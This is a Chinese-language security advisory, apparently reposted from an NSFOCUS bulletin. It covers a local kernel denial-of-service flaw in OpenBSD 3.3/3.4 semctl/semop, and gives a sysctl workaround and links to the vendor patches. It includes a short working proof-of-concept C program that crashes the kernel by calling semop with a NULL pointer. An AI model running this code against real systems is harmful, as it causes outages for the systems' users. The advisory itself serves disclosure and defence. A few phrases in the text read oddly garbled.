OpenBSD semctl/semop本地拒绝服务安全漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2005-07-07
OpenBSD semctl/semop本地拒绝服务安全漏洞

发布日期: 2003-12-1
受影响系统:
OpenBSD OpenBSD 3.4
OpenBSD OpenBSD 3.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 9086

OpenBSD是一款开放源代码操作系统。

OpenBSD在处理semctl和semop系统调用时存在问题,本地安全者可以利用这个漏洞使内核产生错误,造成拒绝服务安全。

问题是由于semctl和semop系统调用对用户提供的信号设置缺少正确的过滤检查,在引用没有进行边界检查的整数时,会导致由于引用非法地址的数据,在废弃时造成内核段冲突,产生拒绝服务。

<*来源:OpenBSD

链接:http://www.openbsd.org/errata.html
http://marc.theaimsgroup.com/?l=bugtraq&m=106952365720756&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有安全性,仅供安全研究与教学之用。使用者风险自负!

noir@uberhax0r.net 提供了如下测试方法:

#include <stdio.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <sys/ipc.h>

int
main()
{
int i;

for(i = 0; i < 0x40; i++)
semop(i, (struct sembuf *) NULL, 0);

}

建议:
--------------------------------------------------------------------------------
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* sysctl -w kern.seminfo.semmni=`sysctl -n kern.seminfo.semmsl`

厂商补丁:

OpenBSD
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

OpenBSD OpenBSD 3.3:

OpenBSD Patch 013_sem.patch
ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.3/common/013_sem.patch

OpenBSD OpenBSD 3.4:

OpenBSD Patch 008_sem.patch
ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.4/common/008_sem.patch

图片内容